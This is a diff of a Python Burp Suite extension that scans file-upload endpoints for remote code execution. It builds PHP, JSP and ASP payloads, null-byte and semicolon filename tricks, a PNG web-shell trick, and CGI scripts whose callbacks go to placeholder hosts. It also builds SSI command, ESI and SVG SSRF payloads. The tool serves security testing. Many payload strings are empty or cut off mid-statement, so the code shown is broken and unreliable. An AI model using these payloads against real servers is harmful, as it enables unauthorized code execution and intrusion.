" - issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity) - - #Yes this looks weird here that we pass content_m3u8, but that's correct - colabs2 = self._send_collaborator(injector, burp_colab, self.AV_TYPES, - basename + "AviM3u", content_m3u8, issue, replace=avi_generator.get_avi_file) - - colabs.extend(colabs2) - return colabs - - def _php_rce_params(self, extension, mime, content=""): - lang = "PHP" - - # The different file extensions can vary in several ways: - # - the original extension the file had that was uploaded in the base request, self._marker_orig_ext, eg. .png - # - the payload extension, for example if we upload php code it would be .php - # - the real file extension, for example .gif if we produced a gif file that has php code in the comment, extension - - # PHP file extensions rely on Apache's AddHandler option, and there are horrible examples - # on the Internet, such as: - # AddHandler x-httpd-php .php .php3 .php4 .php5 .phtml - # According to this, .pht is very unlikely: http://stackoverflow.com/questions/32912839/what-are-pht-files - if mime: - # This means we're hiding php code in metadata of a file type - types = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.php' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.php'+self._marker_orig_ext, mime), - # ('', '.php.'+extension, ''), - ('', '.php' + extension, mime), - ('', '.php\x00' + extension, mime), - ('', '.php%00' + extension, mime), - # ('', '.php5'+extension, mime), - ('', '.php', ''), - # ('', '.php5', ''), - ('', '.php', mime), - ('', '.php5', mime), - ('', '.phtml', mime) - } - else: - # This means it is plain php files we're uploading - mime = 'application/x-php' - types = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.php' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.php'+self._marker_orig_ext, mime), - ('', '.php\x00' + BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.php%00' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.php\x00'+self._marker_orig_ext, mime), - # ('', '.php%00'+self._marker_orig_ext, mime), - # ('', '.php5'+extension, mime), - ('', '.php', ''), - ('', '.php5', ''), - ('', '.phtml', ''), - ('', '.php', mime), - # ('', '.php5', mime), - } - # Problem: when we have XMP data the meta data will look like this: - # - # while PHP servers are fine with a ?> somewhere, they will fail at tags with spaces. As long as the - # ' - expect = r + '-InJeCt.TeSt' - return payload, expect - - def _php_rce(self, injector): - # automated approach with BackdooredFile class - self._servercode_rce_backdoored_file(injector, self._php_gen_payload, - self._php_rce_params) - - # Boring, classic, straight forward php file: - self._servercode_rce_simple(injector, self._php_gen_payload, - self._php_rce_params) - - # Manual tests with special cases for image metadata injection: - lang, types, _ = self._php_rce_params(".png", "image/png") - self._servercode_rce_png_idatchunk_phponly(injector, types) - - payload_exact_13_len = '' - lang, types, _ = self._php_rce_params(".gif", "image/gif") - self._servercode_rce_gif_content(injector, lang, payload_exact_13_len, types) - - def _jsp_rce_params(self, extension, mime, content=""): - lang = "JSP" - if mime: - types = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.jsp' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.jsp' + self._marker_orig_ext, mime), - # ('', '.jsp' + extension, ''), - ('', '.jsp' + extension, mime), - ('', '.jsp\x00' + extension, mime), - ('', '.jsp%00' + extension, mime), - ('', '.jsp', ''), - ('', '.jsp', mime), - } - else: - mime = "application/x-jsp" - types = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.jsp' + BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.jsp\x00' + BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.jsp%00' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.jsp\x00' + self._marker_orig_ext, mime), - # ('', '.jsp%00' + self._marker_orig_ext, mime), - ('', '.jsp', ''), - ('', '.jsp', mime), - } - return lang, types, content - - def _jspx_rce_params(self, extension, mime, content=""): - lang = "JSPX" - if mime: - types = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.jspx' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.jspx' + self._marker_orig_ext, mime), - # ('', '.jspx.'+ extension, ''), - ('', '.jspx' + extension, mime), - ('', '.jspx\x00' + extension, mime), - ('', '.jspx%00' + extension, mime), - ('', '.jspx', ''), - ('', '.jspx', mime), - } - else: - mime = "application/x-jsp" - types = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.jspx' + BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.jspx\x00' + BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.jspx%00' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.jspx\x00' + self._marker_orig_ext, mime), - # ('', '.jspx%00' + self._marker_orig_ext, mime), - ('', '.jspx', ''), - ('', '.jspx', mime), - } - return lang, types, content - - def _jsp_gen_payload_expression_lang(self): - # these numbers are arbitrary but make sure we don't get an int overflow... - a = random.randint(3, 134) - b = random.randint(3, 8456) - c = random.randint(3, 7597) - d = random.randint(3, 65123) - e = random.randint(1000000000000000, 2115454131589564) - payload = "${" + str(a) + " * " + str(b) + "+" + str(c) + "+" + str(d) + "+" + str(e) + "}" - # make sure the payload has always the same length - desired_length = 60 - payload = (desired_length - len(payload)) * " " + payload - expect = str(a * b + c + d + e) - return payload, expect - - def _jsp_gen_payload_tags(self): - r = ''.join(random.sample(string.ascii_letters, 5)) - payload = '<% System.out.println("InJ" + "eCt"+"TeSt-' + r + '"); %>' - expect = 'InJeCtTeSt-' + r - return payload, expect - - def _jspx_gen_payload(self): - """Actually this is JSPX with JSP 2.0""" - one = ''.join(random.sample(string.ascii_letters, 8)) - two = ''.join(random.sample(string.ascii_letters, 8)) - three = ''.join(random.sample(string.ascii_letters, 8)) - payload = ''' - - - JSPX - - - - - - ${one}${two}${three} - - ''' - expect = one + two + three - return payload, expect - - def _jsp_rce(self, injector): - # automated approach with BackdooredFile class - # sadly, the only two types that produce valid JSP files that can be detected by this plugin are GIF and PDF - # with all others the JSP files starts with high byte values or the JSP parser throws another exception. For example: - # org.apache.jasper.JasperException: java.lang.ClassNotFoundException: org.apache.jsp.uploads._1DownloadMeMetamakernotesJSP3_jsp - # org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:177) - # org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:369) - # org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390) - # org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334) - # javax.servlet.http.HttpServlet.service(HttpServlet.java:722) - # or - # org.apache.jasper.JasperException: Unable to compile class for JSP - # org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:661) - # org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:357) - # org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390) - # org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334) - # javax.servlet.http.HttpServlet.service(HttpServlet.java:722) - # while that can be interesting too, it doesn't justify to send all kind of formats that only produce errors - # therefore we send only GIF and PDF, as well as JPEG to trigger the error case (JPEG is probably the most popular format) - # As JPEG and PNG both start with non-ascii, this is probably not possible. But let me know if you figure it out :) - # But on the other hand we have different injection possibilities: - # Expression Language with ${} - # Old school tags <% %> - # TODO feature: Let me know if I'm wrong and there are installations which work fine with such files - - non_working_formats = {".png", ".tiff"} - used_formats = set(BackdooredFile.EXTENSION_TO_MIME.keys()) - non_working_formats - self._servercode_rce_backdoored_file(injector, self._jsp_gen_payload_expression_lang, self._jsp_rce_params, - formats=used_formats) - self._servercode_rce_backdoored_file(injector, self._jsp_gen_payload_tags, self._jsp_rce_params, - formats=used_formats) - - # Boring, classic, straight forward jsp file: - self._servercode_rce_simple(injector, self._jsp_gen_payload_expression_lang, self._jsp_rce_params) - self._servercode_rce_simple(injector, self._jsp_gen_payload_tags, self._jsp_rce_params) - - # New JSP XML Syntax (.jspx) - self._servercode_rce_simple(injector, self._jspx_gen_payload, self._jspx_rce_params) - - # rce gif content: - # TODO feature: change this to something more unique... in general, change that _servercode_rce_gif_content method - payload_exact_13_len = "${'InJeCtTe'}" - to_expect = "InJeCtTe" - lang, types, _ = self._jsp_rce_params(".gif", "image/gif") - self._servercode_rce_gif_content(injector, lang, payload_exact_13_len, types, expect=to_expect) - - def _asp_rce_params(self, extension, mime, content=""): - lang = "ASP" - if mime: - # TODO feature: include .asa and .asax etc. but we need a Windows test server for that first - # According to https://community.rapid7.com/community/metasploit/blog/2009/12/28/exploiting-microsoft-iis-with-metasploit - # the file extension .asp;.png should work fine... see also https://soroush.secproject.com/downloadable/iis-semicolon-report.pdf - types = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.asp;' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.asp' + self._marker_orig_ext, mime), - # ('', '.asp.' + extension, ''), - ('', '.asp;' + extension, mime), - ('', '.asp' + extension, mime), - ('', '.asp\x00' + extension, mime), - ('', '.asp%00' + extension, mime), - ('', '.asp', ''), - ('', '.asa', ''), - ('', '.asax', ''), - #('', '.asp', mime), - ('', '.aspx', mime) - } - else: - mime_asp = 'application/asp' - mime_aspx = 'application/aspx' - types = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.asp;' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.asp' + self._marker_orig_ext, mime_asp), - ('', '.asp\x00' + BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.asp%00' + BurpExtender.MARKER_ORIG_EXT, ''), - # ('', '.asp\x00' + self._marker_orig_ext, mime_asp), - # ('', '.asp%00' + self._marker_orig_ext, mime_asp), - ('', '.asp', ''), - ('', '.asp', mime_asp), - ('', '.aspx', ''), - ('', '.aspx', mime_aspx), - } - - return lang, types, content - - def _asp_gen_payload(self): - r = ''.join(random.sample(string.ascii_letters, 5)) - payload = '<%= "In"+"Je' + r + 'C" + "t.Te"+"St" %>' - expect = 'InJe' + r + 'Ct.TeSt' - return payload, expect - - def _asp_rce(self, injector): - # automated approach with BackdooredFile class - self._servercode_rce_backdoored_file(injector, self._asp_gen_payload, self._asp_rce_params) - - # Boring, classic, straight forward asp file: - self._servercode_rce_simple(injector, self._asp_gen_payload, self._asp_rce_params) - - payload_exact_13_len = '<%= "A"+"B"%>' - lang, types, _ = self._asp_rce_params(".gif", "image/gif") - self._servercode_rce_gif_content(injector, lang, payload_exact_13_len, types) - - def _servercode_rce_simple(self, injector, payload_func, param_func): - payload, expect = payload_func() - lang, types, content = param_func(None, None, payload) - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Simple" + lang - title = lang + " code injection" # via simple file upload" - desc = 'Remote command execution through {} payload in a normal {} file. The server replaced the code {} inside ' \ - 'the uploaded file with {} only, meaning that {} code ' \ - 'execution is possible.'.format(lang, lang, cgi.escape(payload), expect, lang) - issue = self._create_issue_template(injector.get_brr(), title, desc, "Certain", "High") - self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect)) - self._send_simple(injector, types, basename, content, redownload=True) - - def _servercode_rce_backdoored_file(self, injector, payload_func, param_func, formats=None): - bi = BackdooredFile(injector.opts.get_enabled_file_formats(), self._global_opts.image_exiftool) - size = (injector.opts.image_width, injector.opts.image_height) - for payload, expect, name, ext, content in bi.get_files(size, payload_func, formats): - lang, types, content = param_func(ext, BackdooredFile.EXTENSION_TO_MIME[ext], content) - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "BfRce" + name + lang - # content_start = content[:content.index(payload)] - # content_end = content[content.index(payload)+len(payload):] - title = lang + " code injection" # via " + ext[1:].upper() + " Metadata " - desc = 'Remote command execution through {} payload in Metadata of type {}. The server replaced the code {} inside ' \ - 'the uploaded file with {} only, meaning that {} code ' \ - 'execution is possible.'.format(lang, name, cgi.escape(payload), expect, lang) - issue = self._create_issue_template(injector.get_brr(), title, desc, "Certain", "High") - self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect)) - self._send_simple(injector, types, basename, content, redownload=True) - - def _servercode_rce_png_idatchunk_phponly(self, injector, types): - if injector.opts.file_formats['png'].isSelected(): - # PNG with payload in idat chunk that is PHP code taken from https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ - # TODO feature: add other variations of this idatchunk trick. Currently what we do here is simply take the png that has already the idat chunk. - # We simply assume that a server that is stripping *all* metadata cannot strip an idatchunk as it is part of the image data (obviously) - # However, we could do other variations of the not-yet-deflated images, that when transformed with imagecopyresize or imagecopyresample - # would even survive that. When implementing that, a generic approach which allows resizing first to sizes self._image_formating_width, - # self._image_formating_height etc. - lang = "PHP" - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "IdatchunkPng" + lang - content_start = "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\" - content_end = "X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82" - # TODO feature: here we use a modified payload that is also an idat chunk - code = "" - content = content_start + code + content_end - # we expect the server to simply execute "code", but as the parameters in $_GET and $_POST do not make sense - # it will fail and simply cut off the image right before "code". In practice this means an HTTP 500 - # is returned and the body only includes content_start. Therefore this tests checks if "content_start" - # is in the body and that "code" is for sure not in the body - expected_download_content = content_start - title = lang + " code injection" # via PNG IDAT " - desc = 'Remote command execution through {} payload in IDAT chunks, payload from https://www.idontplaydarts' \ - '.com/2012/06/encoding-web-shells-in-png-idat-chunks/ . The server probably tried to execute the code' \ - ' {} inside the uploaded image but failed, meaning that {} code execution seems possible. Usually ' \ - 'the server will respond with only the start of the file which has length {} and cut off the rest. ' \ - 'Also, it usually responds with an HTTP 500 error.'.format(lang, cgi.escape(code), lang, str(len(content_start))) - issue = self._create_issue_template(injector.get_brr(), title, desc, "Tentative", "High") - self.dl_matchers.add(DownloadMatcher(issue, filecontent=expected_download_content, not_in_filecontent=code)) - self._send_simple(injector, types, basename, content, redownload=True) - - def _servercode_rce_gif_content(self, injector, lang, payload_exact_13_len, types, expect="AB"): - if injector.opts.file_formats['gif'].isSelected(): - # TODO: PHP not working, simply returns payload inside GIF, at least on my test server... I guess - # the PHP parser already stopped looking for - - - - - - - - - - - - - - - - - - - -""".format(one, two, three, commands) - expect = one + three + two - - basename = "web" - types = { - ('', '.config::$DATA', ''), - ('', '.config', '') - } - title = "Web.config RCE" - base_detail = 'The server executes web.config files that are uploaded, which results in a Remote Command Execution (RCE).
' \ - 'See https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ .' - detail_download = "A web.config file was uploaded and in the download the ASP concatenation of three variables was " \ - "replaced with {} only.

{}
".format(expect, base_detail) - detail_colab = "A Burp Collaborator interaction was detected when uploading a web.config file executing {} for a " \ - "burp collaborator URL.

{}
" \ - "Interactions:

".format(", ".join(command_names), base_detail) - issue_download = self._create_issue_template(injector.get_brr(), title, detail_download, "Certain", "High") - issue_colab = self._create_issue_template(injector.get_brr(), title, detail_colab, "Certain", "High") - self.dl_matchers.add(DownloadMatcher(issue_download, filecontent=expect)) - # We do not need to call self._send_simple here as in this case the send_collaborator will be sufficient - colab_tests.extend(self._send_collaborator(injector, burp_colab, types, basename, content, issue_colab, - redownload=True, replace=replace_list, randomize=False)) - - return colab_tests - - def _cgi(self, injector, burp_colab): - colab_tests = [] - - if not burp_colab: - return [] - - # Do not forget, for CGI to work, the files have to be executable (chmod +x), which will not be the case - # for a lot of servers... - # Therefore additional sleep based payloads would not make sense - - rand_a = ''.join(random.sample(string.ascii_letters, 20)) - rand_b = ''.join(random.sample(string.ascii_letters, 20)) - expect = rand_a + rand_b - # create replace list and file that executes all rce commands at once - replace_list = [] - command_names = [] - commands = "" - for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab): - replace_list.append(replace) - command_names.append(cmd_name) - commands += "`{} {}`;\n".format(cmd, server) - - # Do NOT print a status header (HTTP/1.0 200 OK) for perl - content_perl = "#!/usr/bin/env perl\n" \ - "print \"Content-type: text/html\\n\\n\"\n" \ - "{}" \ - "local ($k);\n" \ - "$k = \"{}\";\n" \ - "print $k . \"{}\";".format(commands, rand_a, rand_b) - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Perl" - title = "Perl code injection" - base_detail = 'The server executes Perl files that are uploaded, which results in a Remote Command Execution (RCE). ' - detail_download = "A Perl file was uploaded and in the download the code $k = '{}'; print $k . '{}'; was " \ - "replaced with {} only.

{}
".format(rand_a, rand_b, expect, base_detail) - detail_colab = "A Burp Collaborator interaction was detected when uploading a Perl file executing {} for a " \ - "burp collaborator URL.

{}
" \ - "Interactions:

".format(", ".join(command_names), base_detail) - issue_download = self._create_issue_template(injector.get_brr(), title, detail_download, "Certain", "High") - issue_colab = self._create_issue_template(injector.get_brr(), title, detail_colab, "Certain", "High") - self.dl_matchers.add(DownloadMatcher(issue_download, filecontent=expect)) - # We do not need to call self._send_simple here as in this case the send_collaborator will be sufficient - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.PL_TYPES, basename, content_perl, issue_colab, - redownload=True, replace=replace_list)) - - - rand_a = ''.join(random.sample(string.ascii_letters, 20)) - rand_b = ''.join(random.sample(string.ascii_letters, 20)) - expect = rand_a + rand_b - # create DNS or IP Collaborator URl - if burp_colab.is_ip_collaborator: - python3_url = "http://test.example.org/Python3" - python2_url = "http://test.example.org/Python2" - else: - python3_url = "http://python3.test.example.org/Python3" - python2_url = "http://python2.test.example.org/Python2" - - # Do NOT print a status header (HTTP/1.0 200 OK) for python - content_python = "#!/usr/bin/env python\n" \ - "import sys\n" \ - "print 'Content-type: text/html\\n\\n'\n" \ - "if sys.version_info >= (3, 0):\n" \ - " import urllib.request\n" \ - " urllib.request.urlopen('{}').read()\n" \ - "else:\n" \ - " import urllib2\n" \ - " urllib2.urlopen('{}').read()\n" \ - "k = '{}'\n" \ - "print k + '{}'".format(python3_url, python2_url, rand_a, rand_b) - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Python" - title = "Python code injection" - base_detail = 'The server executes Python files that are uploaded, which results in a Remote Command Execution (RCE). ' - detail_download = "A Python file was uploaded and in the download the code k = '{}'; print k + '{}'; was " \ - "replaced with {} only.

{}
".format(rand_a, rand_b, expect, base_detail) - detail_colab = "A Burp Collaborator interaction was detected when uploading a Python file executing a GET request for a " \ - "burp collaborator URL.

{}
" \ - "Interactions:

".format(base_detail) - issue_download = self._create_issue_template(injector.get_brr(), title, detail_download, "Certain", "High") - issue_colab = self._create_issue_template(injector.get_brr(), title, detail_colab, "Certain", "High") - self.dl_matchers.add(DownloadMatcher(issue_download, filecontent=expect)) - # We do not need to call self._send_simple here as in this case the send_collaborator will be sufficient - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.PY_TYPES, basename, content_python, issue_colab, - redownload=True, replace="test.example.org")) - - - rand_a = ''.join(random.sample(string.ascii_letters, 20)) - rand_b = ''.join(random.sample(string.ascii_letters, 20)) - expect = rand_a + rand_b - # create DNS or IP Collaborator URl - if burp_colab.is_ip_collaborator: - ruby_url = "http://test.example.org/Ruby" - else: - ruby_url = "http://ruby.test.example.org/Ruby" - # Do NOT print a status header (HTTP/1.0 200 OK) for ruby - content_ruby1 = "#!/usr/bin/env ruby\n" \ - "require 'net/http'\n" \ - "puts \"Content-type: text/html\\n\\n\"\n" \ - "url=URI.parse('{}')\n" \ - "req=Net::HTTP::Get.new(url.to_s)\n" \ - "Net::HTTP.start(url.host,url.port){|http|http.request(req)}\n" - content_ruby2 = "k = \"{}\"\n" \ - "puts k + \"{}\"".format(ruby_url, rand_a, rand_b) - content_ruby = content_ruby1 + content_ruby2 - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Ruby" - title = "Ruby code injection" - base_detail = 'The server executes Ruby files that are uploaded, which results in a Remote Command Execution (RCE). ' - detail_download = "A Ruby file was uploaded and in the download the code k = \"{}\"; puts k + \"{}\"; was " \ - "replaced with {} only.

{}
".format(rand_a, rand_b, expect, base_detail) - detail_colab = "A Burp Collaborator interaction was detected when uploading a Ruby file executing a GET request for a " \ - "burp collaborator URL.

{}
" \ - "Interactions:

".format(base_detail) - issue_download = self._create_issue_template(injector.get_brr(), title, detail_download, "Certain", "High") - issue_colab = self._create_issue_template(injector.get_brr(), title, detail_colab, "Certain", "High") - self.dl_matchers.add(DownloadMatcher(issue_download, filecontent=expect)) - # We do not need to call self._send_simple here as in this case the send_collaborator will be sufficient - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.RB_TYPES, basename, content_ruby, issue_colab, - redownload=True, replace="test.example.org")) - - # Not going to add as a feature: elf binary .cgi files - # If those work, then Python or Perl works in most cases too... - - return colab_tests - - def _ssi_payload(self): - non_existant_domain = "{}.{}.local".format(str(random.randint(100000, 999999)), str(random.randint(100000, 999999))) - expect = " can't find " + non_existant_domain - content = '' - return content, expect - - def _ssi(self, injector, burp_colab): - issue_name = "SSI injection" - severity = "High" - confidence = "Certain" - - # Reflected nslookup - # This might fail if the DNS is responding with default DNS entries, then it won't say "can't find" and the - # domain but I couldn't come up with anything better for SSI except Burp collaborator payloads and this... - # At least "can't find" + domain is present in Linux and Windows nslookup output - main_detail = "A certain string was dectected when uploading and downloading an Server Side Include file with a " \ - "payload that executes commands with nslookup. Therefore arbitrary command execution seems possible. " \ - "Note that if you enabled the .htaccess module as well, this attack might have only succeeded because " \ - "we were already able to upload a .htaccess file that enables SSI. The payload in this attack was: " \ - "

{}

The found string in a response was: " \ - "
{}

" - - # Reflected nslookup - Simple - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SsiReflectDnsSimple" - content, expect = self._ssi_payload() - detail = main_detail.format(cgi.escape(content), cgi.escape(expect)) - issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity) - self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect)) - self._send_simple(injector, self.SSI_TYPES, basename, content, redownload=True) - - # Reflected nslookup - File metadata - bi = BackdooredFile(injector.opts.get_enabled_file_formats(), self._global_opts.image_exiftool) - size = (injector.opts.image_width, injector.opts.image_height) - for payload, expect, name, ext, content in bi.get_files(size, self._ssi_payload): - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SsiReflectDns" + name - detail = main_detail + "In this case the payload was injected into a file with metatadata of type {}." - detail = detail.format(cgi.escape(content), cgi.escape(expect), name) - issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity) - self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect)) - self._send_simple(injector, self.SSI_TYPES, basename, content, redownload=True) - - # TODO: Decide if additional sleep based payloads would make sense, probably rather not - - # Burp community edition doesn't have Burp collaborator - if not burp_colab: - return [] - - colab_tests = [] - - # RCE with Burp collaborator - base_detail = "A burp collaborator interaction was dectected when uploading an Server Side Include file with a payload that " \ - "executes commands with a burp collaborator URL. Therefore arbitrary command execution seems possible. Note that if " \ - "you enabled the .htaccess module as well, this attack might have only succeeded because we were " \ - "already able to upload a .htaccess file that enables SSI. " - - # RCE with Burp collaborator - Simple - for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab): - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SsiColab" + cmd_name - content = ''.format(cmd, server) - detail = "{}A {} payload was used.
Interactions:

".format(base_detail, cmd_name) - issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity) - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.SSI_TYPES, basename, - content, issue, replace=replace, redownload=True)) - - # RCE with Burp collaborator - File metadata - # For SSI backdoored files we only use the first payload type (either nslookup or wget) - # as otherwise we run into a combinatoric explosion with payload types multiplied with exiftool techniques - base_desc = 'Remote command execution through SSI payload in Metadata of type {}. The server executed a SSI ' \ - 'Burp Collaborator payload with {} inside the uploaded file. ' \ - '
Interactions:

' - cmd_name, cmd, server, replace = next(iter(self._get_rce_interaction_commands(injector, burp_colab))) - ssicolab = SsiPayloadGenerator(burp_colab, cmd, server, replace) - bi = BackdooredFile(injector.opts.get_enabled_file_formats(), self._global_opts.image_exiftool) - size = (injector.opts.image_width, injector.opts.image_height) - for payload, _, name, ext, content in bi.get_files(size, ssicolab.payload_func): - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SsiBfRce" + name - desc = base_desc.format(cgi.escape(name), cgi.escape(cmd_name)) - issue = self._create_issue_template(injector.get_brr(), issue_name, base_detail + desc, confidence, severity) - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.SSI_TYPES, basename, - content, issue, replace=ssicolab.placeholder, redownload=True)) - - return colab_tests - - def _esi_payload(self): - one = ''.join(random.sample(string.ascii_letters, 5)) - two = ''.join(random.sample(string.ascii_letters, 5)) - three = ''.join(random.sample(string.ascii_letters, 5)) - content = '{}{}{}'.format(one, two, three) - expect = '{}{}{}'.format(one, two, three) - return content, expect - - def _esi(self, injector, burp_colab): - issue_name = "ESI injection" - severity = "High" - confidence = "Certain" - - # Reflected stripped esi tag - base_detail = "When uploading an Edge Side Include file with a payload of {}, the server later responded with " \ - "{} only. This means that ESI might be enabled. The payload was an Edge Side Include (ESI) tag, see " \ - "https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/. " - - # Reflected stripped esi tag - Simple - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "EsiReflectSimple" - content, expect = self._esi_payload() - detail = base_detail.format(cgi.escape(content), cgi.escape(expect)) - issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity) - self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect)) - self._send_simple(injector, self.ESI_TYPES, basename, content, redownload=True) - - # Reflected nslookup - File metadata - bi = BackdooredFile(injector.opts.get_enabled_file_formats(), self._global_opts.image_exiftool) - size = (injector.opts.image_width, injector.opts.image_height) - for payload, expect, name, ext, content in bi.get_files(size, self._esi_payload): - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "EsiReflect" + name - detail = base_detail + "In this case the payload was injected into a file with metatadata of type {}." - detail = detail.format(cgi.escape(content), cgi.escape(expect), name) - issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity) - self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect)) - self._send_simple(injector, self.ESI_TYPES, basename, content, redownload=True) - - # Burp community edition doesn't have Burp collaborator - if not burp_colab: - return [] - - colab_tests = [] - - # ESI injection - includes remote URL -> burp collaborator - # According to feedback on https://github.com/modzero/mod0BurpUploadScanner/issues/11 - # this is unlikely to be successfully triggered - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "EsiColab" - content = ''.format(BurpExtender.MARKER_COLLAB_URL, BurpExtender.MARKER_CACHE_DEFEAT_URL) - detail = "A burp collaborator interaction was dectected when uploading an Edge Side Include file with a payload that " \ - "includes a burp collaborator URL. The payload was an Edge Side Include (ESI) tag, see " \ - "https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/. As it is unlikely " \ - "that ESI attacks result in successful Burp Collaborator interactions, this is also likely to " \ - "be a Squid proxy, which is one of the few proxies that support that.
Interactions:

" - issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity) - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.ESI_TYPES, basename, - content, issue, redownload=True)) - - # Not doing the metadata file + Burp Collaborator approach here, as that seems to be a waste of requests as explained - # on https://github.com/modzero/mod0BurpUploadScanner/issues/11 - - return colab_tests - - def _xxe_svg_external_image(self, injector, burp_colab): - colab_tests = [] - # Burp community edition doesn't have Burp collaborator - if not burp_colab: - return colab_tests - if injector.opts.file_formats['svg'].isSelected(): - root_tag = '' - text_tag = 'test' - # The standard file we are going to use for the tests: - base_svg = root_tag + '{}'.format(str(injector.opts.image_width), - str(injector.opts.image_height), - text_tag) - - # First, the SVG specific ones - # External Image with '.format(BurpExtender.MARKER_COLLAB_URL)) - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SvgXlink" - name = "XXE/SSRF via SVG" # Xlink - severity = "High" - confidence = "Certain" - detail = "A Burp Colaborator interaction was detected when uploading an SVG image with an Xlink reference " \ - "which contains a burp collaborator URL. This means that Server Side Request Forgery is possible. " \ - 'The payload was . ' + \ - "Usually you will be able to read local files, eg. local pictures. " \ - "Interactions:

".format(BurpExtender.MARKER_COLLAB_URL) - issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity) - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.SVG_TYPES, basename, content_xlink, issue, - redownload=True)) - - # External iFrame according to https://twitter.com/akhilreni_hs/status/1113762867881185281 and - # https://gist.github.com/akhil-reni/5ed75c28a5406c300597431eafcdae2d - content_iframe = '' \ - ''.format(str(injector.opts.image_width), - str(injector.opts.image_height), - BurpExtender.MARKER_COLLAB_URL) - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SvgIframe" - name = "XXE/SSRF via SVG" # Iframe - severity = "High" - confidence = "Certain" - detail = "A Burp Colaborator interaction was detected when uploading an SVG image with an iframe reference " \ - "which contains a burp collaborator URL. This means that Server Side Request Forgery is possible. " \ - 'The payload was '.format(str(injector.opts.image_width), + str(injector.opts.image_height), + Constants.MARKER_COLLAB_URL) + basename = Constants.DOWNLOAD_ME + Constants.FILE_START + "SvgIframe" + name = "XXE/SSRF via SVG" # Iframe + severity = "High" + confidence = "Certain" + detail = "A Burp Colaborator interaction was detected when uploading an SVG image with an iframe reference " \ + "which contains a burp collaborator URL. This means that Server Side Request Forgery is possible. " \ + 'The payload was